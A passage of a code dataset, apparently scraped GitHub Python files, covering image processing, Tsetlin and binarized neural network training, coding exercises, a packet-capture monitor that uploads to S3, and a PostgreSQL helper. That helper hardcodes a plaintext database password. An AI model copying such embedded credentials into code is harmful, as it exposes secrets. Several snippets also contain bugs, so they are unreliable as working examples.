numpy array. The resulting numpy array is then \n    returned as an PIL image with RBG.\n    \"\"\"\n    \n    original_image = PIL.Image.open(original_image)\n\n    # dimensions of given image\n    widthOriginal, heightOriginal = original_image.size\n    \n    # dimensions of image with border\n    width, height = widthOriginal+border*2, heightOriginal+border*2\n\n    # Creates a new image with the size of the original image with a border\n    img = PIL.Image.new('RGB', (width, height))\n    pattern = np.array(img)\n    SqColor = PIL.ImageColor.getrgb(SqColor)\n\n    # Generates a striped pattern\n    \n    if borderChoice == \"a\":\n        for row in range(len(pattern)):\n            for column in range(len(pattern[0])):\n                \n                # Condition that stops the pattern from generating in the image space\n\n                if (row+column)/8 % 2 == 0:\n                    # Even Stripe\n                    pattern[row][column] = PIL.ImageColor.getrgb(color1) \n                    \n                elif (row+column)/8 % 3 == 0:\n                    # Odd stripe #1\n                    pattern[row][column] = PIL.ImageColor.getrgb(color2)\n                    \n                else:\n                    # Odd stripe #2\n                    pattern[row][column] = PIL.ImageColor.getrgb(color3)\n                    \n    elif borderChoice == \"b\":\n         for row in range(len(pattern)):\n            for column in range(len(pattern[0])):\n                if (row>border) and (row<(width-border)):\n                    if row % 10 == 0:\n                        pattern[row][column] = PIL.ImageColor.getrgb(color1)\n                        pattern[row+1][column] = PIL.ImageColor.getrgb(color1)\n                        pattern[row+2][column] = PIL.ImageColor.getrgb(color1) \n                        pattern[row+3][column] = PIL.ImageColor.getrgb(color1) \n                        pattern[row+4][column] = PIL.ImageColor.getrgb(color1)\n                else:\n                    if column % 10 == 0:\n                        pattern[row][column] =  PIL.ImageColor.getrgb(color1)\n                        pattern[row][column+1] = PIL.ImageColor.getrgb(color1)\n                        pattern[row][column+2] = PIL.ImageColor.getrgb(color1)\n                        pattern[row][column+3] = PIL.ImageColor.getrgb(color1)\n                        pattern[row][column+4] = PIL.ImageColor.getrgb(color1)\n                        \n                if pattern[row][column][0] == 0 and pattern[row][column][1] == 0 and pattern[row][column][2] == 0:\n                    pattern[row][column] =  PIL.ImageColor.getrgb(color2)\n    \n    # Turns the numpy array into an image\n    frame = PIL.Image.fromarray(pattern)\n    \n    draw = ImageDraw.Draw(frame)\n    \n    draw.rectangle([(0,0),(border,border)], fill=SqColor, outline=None)\n    draw.rectangle([(0,height-border),(border,height)], fill=SqColor, outline=None)\n    draw.rectangle([(width-border,0),(width,border)], fill=SqColor, outline=None)\n    draw.rectangle([(width-border,height-border),(width,height)], fill=SqColor, outline=None)\n\n    frame.save(\"ImageDraw.png\")","repo_name":"jhng8/CSP_Python","sub_path":"1.4.7/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":9496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"19371280086","text":"import argparse\nfrom tmu.models.classification.vanilla_classifier import TMClassifier\nimport numpy as np\nfrom keras.datasets import cifar10\nimport cv2\nfrom tmu.preprocessing.standard_binarizer.binarizer import StandardBinarizer\nfrom time import time\n\npatch_size = 0\n\nimageSize = 32  #The size of the original image - in pixels - assuming this is a square image\nchannels = 3    #The number of channels of the image. A RBG color image, has 3 channels\nclasses = 10    #The number of classes available for this dataset\n\nwinSize = imageSize\nblockSize = 12\nblockStride = 4\ncellSize = 4\nnbins = 18\nderivAperture = 1\nwinSigma = -1.\nhistogramNormType = 0\nL2HysThreshold = 0.2\ngammaCorrection = True\nnlevels = 64\nsignedGradient = True\nhog = cv2.HOGDescriptor((winSize,winSize),(blockSize, blockSize),(blockStride,blockStride),(cellSize,cellSize),nbins,derivAperture, winSigma,histogramNormType,L2HysThreshold,gammaCorrection,nlevels,signedGradient)\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--num_clauses\", default=2000, type=int)\n    parser.add_argument(\"--T\", default=50, type=int)\n    parser.add_argument(\"--s\", default=10.0, type=float)\n    parser.add_argument(\"--max_included_literals\", default=32, type=int)\n    parser.add_argument(\"--device\", default=\"GPU\", type=str)\n    parser.add_argument(\"--weighted_clauses\", default=False, type=bool)\n    parser.add_argument(\"--epochs\", default=100, type=int)\n\n    args = parser.parse_args()\n\n    (X_train_org, Y_train), (X_test_org, Y_test) = cifar10.load_data()\n    Y_train = Y_train\n    Y_test = Y_test\n\n    Y_train=Y_train.reshape(Y_train.shape[0])\n    Y_test=Y_test.reshape(Y_test.shape[0])\n    \n    fd = hog.compute(X_train_org[0])\n    X_train = np.empty((X_train_org.shape[0], fd.shape[0]), dtype=np.uint32)\n    for i in range(X_train_org.shape[0]):\n        fd = hog.compute(X_train_org[i]) \n        X_train[i] = fd >= 0.1\n\n    fd = hog.compute(X_test_org[0])\n    X_test = np.empty((X_test_org.shape[0], fd.shape[0]), dtype=np.uint32)\n    for i in range(X_test_org.shape[0]):\n        fd = hog.compute(X_test_org[i])\n        X_test[i] = fd >= 0.1\n\n    tm = TMClassifier(\n        number_of_clauses=args.num_clauses,\n        T=args.T,\n        s=args.s,\n        max_included_literals=args.max_included_literals,\n        platform=args.device,\n        weighted_clauses=args.weighted_clauses,\n        type_i_ii_ratio=args.type_i_ii_ratio\n    )\n\n    for epoch in range(args.epochs):\n        start_training = time()\n        tm.fit(X_train, Y_train)\n        stop_training = time()\n\n        start_testing = time()\n        Y_test_predicted, Y_test_scores = tm.predict(X_test, return_class_sums=True)\n        stop_testing = time()\n\n        result_test = 100*(Y_test_scores.argmax(axis=1) == Y_test).mean()\n\n        print(\"#%d Accuracy: %.2f%% Training: %.2fs Testing: %.2fs\" % (epoch+1, result_test, stop_training-start_training, stop_testing-start_testing))\n        \n        np.savetxt(\"CIFAR10HistogramOfGradients_%d_%d_%d_%.2f_%d_%d_%d.txt\" % (epoch+1, args.num_clauses, args.T, args.s, patch_size, args.max_included_literals, args.weighted_clauses), Y_test_scores, delimiter=',') \n\n\n\n","repo_name":"olegranmo/Plug-and-Play-Collaboration-Between-Specialized-Tsetlin-Machines","sub_path":"CIFAR10HistogramOfGradients.py","file_name":"CIFAR10HistogramOfGradients.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"39529330300","text":"import art\r\n\r\nbidders = {}\r\n\r\n\r\ndef calculate_highest_bidder():\r\n    more_bidders = True\r\n    while more_bidders:\r\n        name = input(\"Enter the bidder's name: \")\r\n        bid_value = float(input(f\"Enter the bid value for {name}: \"))\r\n        bidders[name] = bid_value\r\n        bidders_left = input(\"Do you want to add more bids? Type 'yes' to add more or 'no' to stop.\").lower()\r\n        if bidders_left != 'yes':\r\n            more_bidders = False\r\n\r\n    name_of_top_bid = ''\r\n    top_bid_value = 0\r\n\r\n    for name in bidders:\r\n        current_bid = bidders[name]\r\n        if current_bid > top_bid_value:\r\n            name_of_top_bid = name\r\n            top_bid_value = current_bid\r\n\r\n    print(f\"The winner of the bid is {name_of_top_bid} and the winning bid value is {top_bid_value}\")\r\n\r\n\r\nif __name__ == '__main__':\r\n    print(art.logo)\r\n    calculate_highest_bidder()\r\n","repo_name":"usvarma/100DaysOfCodePython","sub_path":"Day9/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31894496983","text":"from itertools import permutations\n\nif __name__ == '__main__':\n    OneMillion = 1000000\n    digits = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n\n    perms = permutations(digits)\n\n    for index, element in enumerate(perms, 1):\n        if index == OneMillion:\n            print(''.join([str(i) for i in element]))\n            break\n","repo_name":"jarredblanchette/ProjectEuler","sub_path":"problems/024/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37408961951","text":"'''\nhttps://practice.geeksforgeeks.org/problems/gcd-of-two-numbers/0\nGCD of two numbers\nlearn the Euclidean algorithm at \nhttps://en.wikipedia.org/wiki/Euclidean_algorithm\n\nfunction gcd(a, b)\n    while b ≠ 0\n       t := b; \n       b := a mod b; \n       a := t; \n    return a;\n'''\n\ndef gcd(num1, num2):    \n    while num2:\n        num1, num2 = num2, num1%num2\n        #print(num1,num2)\n    return num1\n    \nif __name__ == \"__main__\":\n    num_cases = int(input())\n    #print(num_cases)\n    for case in range(num_cases):\n        nums = [int(num) for num in input().split()]\n        print(gcd(nums[0], nums[1]))\n\n'''\nFor Input:\n2\n84 16\n87 8\nYour Output is:\n4\n1\n'''\n","repo_name":"leewalter/coding","sub_path":"python/GCD.py","file_name":"GCD.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26973217398","text":"import pprint\nmessage = 'Hello, python; I am studing python language, I studied python two weeks all ready !'\ndict2 = {}\nfor str1 in message:\n    dict2.setdefault(str1, 0)\n    dict2[str1] = dict2[str1] + 1\nfor k, v in dict2.items():\n    print(k + \":\" + str(v) + '\\n')\nprint(dict2)\npprint.pprint(dict2)","repo_name":"dongshuicen/py_practice1","sub_path":"practice/CharactersCount.py","file_name":"CharactersCount.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3510752255","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nFind Files for salted\n~~~~~~~~~~~~~~~~~~~~~\nSource: https://github.com/RuedigerVoigt/salted\n(c) 2020-2021: Rüdiger Voigt\nReleased under the Apache License 2.0\n\"\"\"\n\nimport logging\nimport pathlib\nfrom typing import Final, List, Optional\n\n\nclass FileFinder:\n    \"Methods to find files in supported formats\"\n\n    SUPPORTED_SUFFIX: Final[set] = {\".htm\", \".html\", '.md', '.tex', '.bib'}\n\n    def __init__(self) -> None:\n        return\n\n    def is_supported_format(self,\n                            filepath: pathlib.Path) -> bool:\n        \"Checks - using the filename suffix - if the file format is supported.\"\n        return bool(filepath.suffix in self.SUPPORTED_SUFFIX)\n\n    def find_files_by_extensions(\n            self,\n            path_to_base_folder: pathlib.Path,\n            suffixes: Optional[set] = None) -> List[pathlib.Path]:\n        \"\"\"Find all files with specific file type suffixes in the base folder\n           and its subfolders. If no file suffix is specified, this will look\n           for all file formats supported by salted.\"\"\"\n        # self undefined at time of definition. Therefore fallback here:\n        if not suffixes:\n            suffixes = self.SUPPORTED_SUFFIX\n\n        files_to_check = []\n        path_to_check = pathlib.Path(path_to_base_folder)\n        all_files = path_to_check.glob('**/*')\n        for candidate in all_files:\n            if candidate.suffix in suffixes:\n                files_to_check.append(candidate.resolve())\n        logging.debug('Found %s files', len(files_to_check))\n        return files_to_check\n\n    def find_html_files(self,\n                        path_to_base_folder: pathlib.Path\n                        ) -> List[pathlib.Path]:\n        \"Find all HTML files in the base folder and its subfolders.\"\n        return self.find_files_by_extensions(\n            path_to_base_folder,\n            {\".htm\", \".html\"})\n\n    def find_markdown_files(self,\n                            path_to_base_folder: pathlib.Path\n                            ) -> List[pathlib.Path]:\n        \"Find all markdown files in the base folder and its subfolders.\"\n        return self.find_files_by_extensions(\n            path_to_base_folder,\n            {\".md\"})\n\n    def find_tex_files(self,\n                       path_to_base_folder: pathlib.Path\n                       ) -> List[pathlib.Path]:\n        \"Find all .tex files in the base folder and its subfolders.\"\n        return self.find_files_by_extensions(\n            path_to_base_folder,\n            {\".tex\"})\n","repo_name":"RuedigerVoigt/salted","sub_path":"salted/file_finder.py","file_name":"file_finder.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"69870700853","text":"import subprocess, asyncio\nimport uuid, sys, time\nimport boto3\nfrom datetime import datetime\n\n\ndef upload_to_aws(file):\n    s3 = boto3.client('s3')\n    filename = 'test' + uuid.uuid1().hex + '.txt'\n    try:\n        s3.upload_file(file, \"hwnm\", filename)\n        print(\"upload success\")\n        return True\n    except FileNotFoundError:\n        print(\"File not found\")\n        return False\n\nasync def stream_tcpdump():\n    p = await asyncio.create_subprocess_exec(\n        'tcpdump', '-i', 'enp3s0', '-v', '-ln',\n        stdout=asyncio.subprocess.PIPE\n    )\n    while True:\n        line = await p.stdout.readuntil(b' IP ')\n        sys.stdout.write(line.decode('utf-8'))\n\nasync def create_file(timeout):\n    while True:\n        sys.stdout.close()\n        time = datetime.now().strftime(\"%d%m%Y%H%M%S\")\n        fileName = 'test' + time + '.txt'\n        sys.stdout = open(fileName, \"w\")\n        await asyncio.sleep(timeout)\n        upload_to_aws(fileName)\n\n\nasync def main():\n    reportingFreq = 30\n    task = asyncio.create_task(stream_tcpdump())\n    task2 = asyncio.create_task(create_file(reportingFreq))\n    await asyncio.gather(task, task2)\n\n\nasyncio.run(main())\n\n\n# upload_to_aws(\"test.txt\")\n","repo_name":"dca123/HomeWirelessNetwork-Monitor","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8269883620","text":"N, M = map(int, input().split())\nINF = int(1e9)\n\ngraph = [[INF] * (N + 1) for _ in range(N + 1)]\nans = [[0] * (N + 1) for _ in range(N + 1)]\n\nfor a in range(N + 1):\n    for b in range(N + 1):\n        if a == b:\n            graph[a][b] = 0\n            ans[a][b] = INF\n\nfor _ in range(M):\n    v1, v2, route = map(int, input().split())\n    graph[v1][v2] = route\n    graph[v2][v1] = route\n    ans[v1][v2] = v2\n    ans[v2][v1] = v1\n\nfor k in range(1, N + 1):\n    for a in range(1, N + 1):\n        for b in range(1, N + 1):\n            if graph[a][b] > graph[a][k] + graph[k][b]:\n                graph[a][b] = graph[a][k] + graph[k][b]\n                ans[a][b] = ans[a][k]\n\nfor i in range(1, N + 1):\n    for j in range(1, N + 1):\n        if ans[i][j] == INF:\n            print('-', end=' ')\n        else:\n            print(ans[i][j], end=' ')\n    print()\n","repo_name":"s2lee/PS","sub_path":"BOJ/Shortest Path/1719.py","file_name":"1719.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"75197654453","text":"from collections import deque\n\ndef bfs(call_dict, start):\n    cnt = 0\n    q = deque()\n    q.append([cnt, start])\n    visited = [start]\n    last = []\n    while q:\n        c, now = q.popleft()\n        if cnt != c:\n            cnt += 1\n        if now in call_dict.keys():\n            for next in call_dict[now]:\n                if next not in visited:\n                    q.append([c + 1, next])\n                    last.append([c, next])\n                    visited.append(next)\n    last.sort(key=lambda x: (-x[0], -x[1]))\n    return last[0][1]\n\nfor tc in range(1, 11):\n    length, start = map(int, input().split())\n    call_dict = {}\n    data = list(map(int, input().split()))\n    for i in range(0, length, 2):\n        if data[i] in call_dict:\n            call_dict[data[i]].append(data[i + 1])\n        else:\n            call_dict[data[i]] = [data[i + 1]]\n\n    print(f\"#{tc} {bfs(call_dict, start)}\")\n","repo_name":"keeeeeey/baekjoon_algorithm","sub_path":"싸피/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72823505652","text":"from .s3_crawler import S3Crawler\nfrom modules.common import CrawlerType\nfrom modules.exceptions import WrongCrawlerTypeError\n\n\nclass Crawler:\n    crawler = None\n\n    def __init__(self, **params):\n        self.crawler_type = params.get('crawler_type', False)\n\n        fail = False\n        if self.crawler_type:\n            if self.crawler_type == CrawlerType.S3:\n                self.crawler = S3Crawler()\n                self.crawler.set_source('https://s3.amazonaws.com/aie.interview/input.csv')\n                self.crawler.get_result()\n            else:\n                fail = True\n        else:\n            fail = True\n\n        if fail:\n            raise WrongCrawlerTypeError(\"you have to define crawler's type correctly \")\n\n    def start(self):\n        self.crawler.start()\n","repo_name":"igeni/Citi","sub_path":"modules/crawlers/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32101986952","text":"def connect():\n    conn = None \n    conn = psycopg2.connect(\n        database = 'Preneed',\n        user = 'postgres',\n        password = '08Donthate*', #look up how to hide this in a dev file\n        host = 'localhost',\n        port = '5432'\n    )\n    conn.autocommit = True #vs commit in order to connect \n    cur = conn.cursor()\n    cur.execute(sql_select_qry)\n    print('PostgresSQL database version:')\n\ndef view_select_one():\n    cur.execute(sql_select_qry)\n    db_version = cur.fetchone()\n    print(db_version)\n\ndef view_select_all():\n    cur.execute(sql_select_qry)\n    db_version = cur.fetchall()\n    print(db_version)\n\ndef close():\n    cur.close()\n    print('Databse connection closed.')","repo_name":"katiebell0190/rapidraccoon","sub_path":"prj_broken_out_func.py","file_name":"prj_broken_out_func.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25518424465","text":"from plotly import __version__\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, iplot\nfrom plotly.offline import plot\nimport plotly.graph_objs as go\n\n#files = [\"FCFS.txt\",\"RRQ5.txt\",\"RRQ20.txt\",\"RRQ50.txt\",\"SPN.txt\"]\nfiles = [\"FCFS.txt\", \"RRQ5.txt\", \"RRQ20.txt\", \"RRQ50.txt\", \"SPN.txt\", \"SRT.txt\", \"Feedback.txt\"]\nprefs = [\"DATAFILES/Run1/\", \"DATAFILES/Run2/\", \"DATAFILES/Run3/\"]\nspeedupfiles2 = [\"FCFS2C.txt\", \"RRQ52C.txt\", \"RRQ202C.txt\", \"RRQ502C.txt\", \"SPN2C.txt\", \"SRT2C.txt\", \"Feedback2C.txt\"]\nspeedupfiles4 = [\"FCFS4C.txt\", \"RRQ54C.txt\", \"RRQ204C.txt\", \"RRQ504C.txt\", \"SPN4C.txt\", \"SRT4C.txt\", \"Feedback4C.txt\"]\ntotTime = 100000\nlname = []\nlthrough = []\nlturn = []\nlwait = []\nlresp = []\nlcontext = []\nlprocu = []\nlspeed2 = []\nlspeed4 = []\n\nfor fil in files:\n    totwait = 0\n    totresp = 0\n    totturn = 0\n    totProc = 0\n    for pref in prefs:\n        f = open(pref + fil)\n        afil = pref + \"Add\" + fil\n        f2 = open(afil)\n        lin2 = f2.readline()\n        [empty, numProc] = lin2.split()\n        numProc = int(numProc)\n        count = 0\n        while count < int(numProc):\n            count += 1\n            lin = f.readline()\n            [fintime, pid, arr, burst, turn, wait, resp] = lin.split()\n            totwait += float(wait)\n            totresp += float(resp)\n            totturn += float(turn)\n        totProc += int(numProc)\n    avgwait = totwait / totProc\n    avgresp = totresp / totProc\n    avgturn = totturn / totProc\n    lname.append(fil.rsplit('.',1)[0])\n    lthrough.append((float(totProc)/(totTime*len(prefs)))*1000)\n    lturn.append(avgturn/1000)\n    lwait.append(avgwait/1000)\n    lresp.append(avgresp/1000)\n    lcontext.append(float(1)/1000)\n    lprocu.append((float((totTime*len(prefs))-int(empty)))/(totTime*len(prefs)))\n    for s2 in speedupfiles2:\n        s2totturn = 0\n        s2totProc = 0\n        for pref in prefs:\n            f = open(pref + s2)\n            afil = pref + \"Add\" + s2\n            f2 = open(afil)\n            lin2 = f2.readline()\n            [s2empty, s2numProc] = lin2.split()\n            s2numProc = int(s2numProc)\n            count = 0\n            while count < int(s2numProc):\n                count += 1\n                lin = f.readline()\n                [fintime, pid, arr, burst, turn, wait, resp] = lin.split()\n                s2totturn += float(turn)\n            s2totProc += int(s2numProc)\n        s2avgturn = s2totturn / s2totProc\n        lspeed2.append(float(avgturn - s2avgturn)/avgturn)\n    for s4 in speedupfiles4:\n        s4totturn = 0\n        s4totProc = 0\n        for pref in prefs:\n            f = open(pref + s4)\n            afil = pref + \"Add\" + s4\n            f2 = open(afil)\n            lin2 = f2.readline()\n            [s4empty, s4numProc] = lin2.split()\n            s4numProc = int(s4numProc)\n            count = 0\n            while count < int(s4numProc):\n                count += 1\n                lin = f.readline()\n                [fintime, pid, arr, burst, turn, wait, resp] = lin.split()\n                s4totturn += float(turn)\n            s4totProc += int(s4numProc)\n        s4avgturn = s4totturn / s4totProc\n        lspeed4.append(float(avgturn - s4avgturn)/avgturn)\n\ngthrough = go.Bar(\n    x=lname,\n    y=lthrough,\n    name='Throughput (Processes per microsecond)'\n)\ngturn = go.Bar(\n    x=lname,\n    y=lturn,\n    name='Average Turnaround Time (in microseconds)'\n)\ngwait = go.Bar(\n    x=lname,\n    y=lwait,\n    name='Average Wait Time (in microseconds)'\n)\ngresp = go.Bar(\n    x=lname,\n    y=lresp,\n    name='Average Response Time (in microseconds)'\n)\ngcontext = go.Bar(\n    x=lname,\n    y=lcontext,\n    name='Average Context Switch Time (in microseconds)'\n)\ngprocu = go.Bar(\n    x=lname,\n    y=lprocu,\n    name='Processor Utilization %'\n)\ngs2 = go.Bar(\n    x=lname,\n    y=lspeed2,\n    name='Speed percentage increase moving from 1 to 2 cores'\n)\ngs4 = go.Bar(\n    x=lname,\n    y=lspeed4,\n    name='Speed percentage increase moving from 1 to 4 cores'\n)\n\ndata = [gthrough, gturn, gwait, gresp, gcontext, gprocu, gs2, gs4]\nlayout = go.Layout(\n    barmode='group'\n)\n\nfor d in data:\n    yaxis = go.YAxis(title=d.name)\n    layout.update(\n        yaxis1=yaxis\n    )\n    fig = go.Figure(data=[d], layout=layout)\n    plot(fig, filename=d.name)\n","repo_name":"JasonTrader/ProcessScheduling","sub_path":"SimulationFiles/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35178340806","text":"# https://leetcode.com/problems/roman-to-integer/\n# Best submission time: 54ms\n\nclass Solution:\n    def romanToInt(self, s: str) -> int:\n        romans = {'I': 1, 'IV': 4, 'V': 5, 'IX': 9, 'X': 10, 'XL': 40, 'L': 50, 'XC': 90, 'C': 100, 'CD': 400, 'D': 500, 'CM': 900, 'M': 1000}\n        res, i = 0, 0\n        while i != len(s):\n            if s[i] in {'I', 'X', 'C'} and i != len(s) - 1 and s[i] + s[i+1] in romans:\n                res += romans[s[i] + s[i+1]]\n                i += 1\n            else:\n                res += romans[s[i]]\n            i += 1\n        return res","repo_name":"Hemkesh/leetcode","sub_path":"easy/roman-to-integer.py","file_name":"roman-to-integer.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11404766499","text":"from __future__ import print_function\nimport csv\nfrom itertools import zip_longest\nimport torch.nn as nn\nfrom bnn_modules import BinarizedLinear, BinarizeFunction\nfrom training_routines import train, test\nimport argparse\nimport torch\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\n\nclass MnistDenseBNN(nn.Module):\n    def __init__(self):\n        super(MnistDenseBNN, self).__init__()\n        self.mul_idx = 2\n\n        self.layer1 = nn.Sequential(\n            BinarizedLinear(28*28, 512*self.mul_idx),\n            nn.BatchNorm1d(512*self.mul_idx)\n        )\n        self.sign1 = BinarizeFunction.apply\n        self.dp1 = nn.Dropout(0.5)\n\n\n        self.layer2 = nn.Sequential(\n            BinarizedLinear(512*self.mul_idx, 512*self.mul_idx),\n            nn.BatchNorm1d(512*self.mul_idx)\n        )\n        self.sign2 = BinarizeFunction.apply\n        self.dp2 = nn.Dropout(0.5)\n\n        self.layer3 = nn.Sequential(\n            BinarizedLinear(512*self.mul_idx, 10),\n            nn.BatchNorm1d(10)\n        )\n        self.sign3 = BinarizeFunction.apply\n        self.dp3 = nn.Dropout(0.2)\n\n\n    def forward(self, x):\n        x = x.view(-1, 28*28)\n        x = self.dp1(self.sign1(self.layer1(x)))\n        x = self.dp2(self.sign2(self.layer2(x)))\n        x = self.dp3(self.layer3(x))\n        return x\n\ndef main():\n    # Training settings\n    parser = argparse.ArgumentParser(description='PyTorch MNIST Example')\n    parser.add_argument('--batch-size', type=int, default=64, metavar='N',\n                        help='input batch size for training (default: 64)')\n    parser.add_argument('--test-batch-size', type=int, default=1000, metavar='N',\n                        help='input batch size for testing (default: 1000)')\n    parser.add_argument('--epochs', type=int, default=10, metavar='N',\n                        help='number of epochs to train (default: 10)')\n    parser.add_argument('--lr', type=float, default=0.01, metavar='LR',\n                        help='learning rate (default: 0.01)')\n    parser.add_argument('--momentum', type=float, default=0.5, metavar='M',\n                        help='SGD momentum (default: 0.5)')\n    parser.add_argument('--no-cuda', action='store_true', default=False,\n                        help='disables CUDA training')\n    parser.add_argument('--seed', type=int, default=1, metavar='S',\n                        help='random seed (default: 1)')\n    parser.add_argument('--log-interval', type=int, default=200, metavar='N',\n                        help='how many batches to wait before logging training status')\n\n    parser.add_argument('--save-model', action='store_true', default=False,\n                        help='For Saving the current Model')\n    args = parser.parse_args()\n    use_cuda = not args.no_cuda and torch.cuda.is_available()\n\n    torch.manual_seed(args.seed)\n\n    device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n    kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}\n    train_loader = torch.utils.data.DataLoader(\n        datasets.MNIST('../data', train=True, download=True,\n                       transform=transforms.Compose([\n                           transforms.ToTensor(),\n                           transforms.Normalize((0.1307,), (0.3081,))\n                       ])),\n        batch_size=args.batch_size, shuffle=True, **kwargs)\n    test_loader = torch.utils.data.DataLoader(\n        datasets.MNIST('../data', train=False, transform=transforms.Compose([\n            transforms.ToTensor(),\n            transforms.Normalize((0.1307,), (0.3081,))\n        ])),\n        batch_size=args.test_batch_size, shuffle=True, **kwargs)\n\n    model = MnistDenseBNN().to(device)\n    optimizer = optim.Adam(model.parameters(), lr=args.lr, weight_decay=1e-8)\n\n    test_accuracy = []\n    train_accuracy = []\n\n    for epoch in range(1, args.epochs + 1):\n        train(args, model, device, train_loader, optimizer, epoch)\n        test(args, model, device, test_loader, train_loader, test_accuracy, train_accuracy)\n\n    if (args.save_model):\n        torch.save(model.state_dict(), \"../model/mnist_bnn.pt\")\n\n    d = [train_accuracy, test_accuracy]\n    export_data = zip_longest(*d, fillvalue='')\n    with open('../model/mnist_bnn_report.csv', 'w', encoding=\"ISO-8859-1\", newline='') as report_file:\n        wr = csv.writer(report_file)\n        wr.writerow((\"Train accuracy\", \"Test accuracy\"))\n        wr.writerows(export_data)\n    report_file.close()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"vladimirshadymov/bnn","sub_path":"src/mnist_bnn.py","file_name":"mnist_bnn.py","file_ext":"py","file_size_in_byte":4475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5944128364","text":"import compute_graph\nimport outgoing_handler\nimport incoming_handler\n\nclass ComputeIO:\n    def __init__(self):\n        self._callbacks = {}\n\n        self._outgoing = {}\n        self._incoming = {}\n\n    def set_callback(self, name: str, callback):\n        self._callbacks[name] = callback\n\n    def _validate_callbacks(self, node_name: str, cg: compute_graph.ComputeGraph):\n        # Validate all graph callbacks set.\n        for c in cg.connections:\n            if c.dest_name == node_name:\n                cb = self._callbacks.get(c.name, None)\n                if cb is None:\n                    print(\n                        \"Missing callback for compute graph connection\", c.name)\n                    return False\n                if c.dest_name != node_name:\n                    print(\"Callback set for connection\", c.name,\n                          \" but\", node_name, \"is not the destination\")\n                    return False\n        return True\n\n    def _setup_outgoing(self, node_name: str, cg: compute_graph.ComputeGraph):\n        for c in cg.connections:\n            if c.src_name == node_name:\n              self._outgoing[c.name] = outgoing_handler.OutgoingHandler(c.dest.ip, c.port)\n                \n    def _setup_incoming(self, node_name: str, cg: compute_graph.ComputeGraph):\n        for c in cg.connections:\n            if c.dest_name == node_name:\n              self._incoming[c.name] = incoming_handler.IncomingHandler(c.dest.ip, c.port, self._callbacks[c.name])\n              self._incoming[c.name].start()\n\n    def setup(self, node_name: str, cg: compute_graph.ComputeGraph):\n        if not cg.consistent:\n            print(\"ComputeGraph not consistent\")\n            return\n        if not self._validate_callbacks(node_name, cg):\n            return\n\n        self._setup_outgoing(node_name, cg)\n        self._setup_incoming(node_name, cg)\n\n    def shutdown(self):\n      for ih in self._incoming.values():\n        ih.stop()\n\n    def send(self, connection_name: str, data=None):\n      return self._outgoing[connection_name].send(data)\n\n","repo_name":"kylevedder/DecentralizedComputeGraph","sub_path":"compute_io.py","file_name":"compute_io.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4534829384","text":"from sklearn.datasets import load_boston\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeRegressor\nimport numpy as np\nnp.random.seed(100)\nboston = load_boston()\n\nx_train,x_test, y_train, y_test = train_test_split(boston.data,boston.target,random_state = 30)\nprint(x_train.shape)\nprint(x_test.shape)\n\ndt = DecisionTreeRegressor()\ndt_reg = dt.fit(x_train,y_train)\n\nprint(dt_reg.score(x_train,y_train))\nprint(dt_reg.score(x_test,y_test))\n\ny_pred = dt.predict(x_test[0:2])\nprint(y_pred)\naccuracy = {}\nfor i in range(2,6):\n    dt_regress = DecisionTreeRegressor(max_depth = i)\n    dt_fit = dt_regress.fit(x_train,y_train)\n    dt_accuracy = dt_fit.score(x_test,y_test)\n    accuracy[i] = dt_accuracy\n\nprint(accuracy)\nmax_value = max(accuracy,key=accuracy.get)\nprint(max_value)\n\n\n","repo_name":"dchin1564/Python","sub_path":"MachineLearning/DecisionTreeRegressor.py","file_name":"DecisionTreeRegressor.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
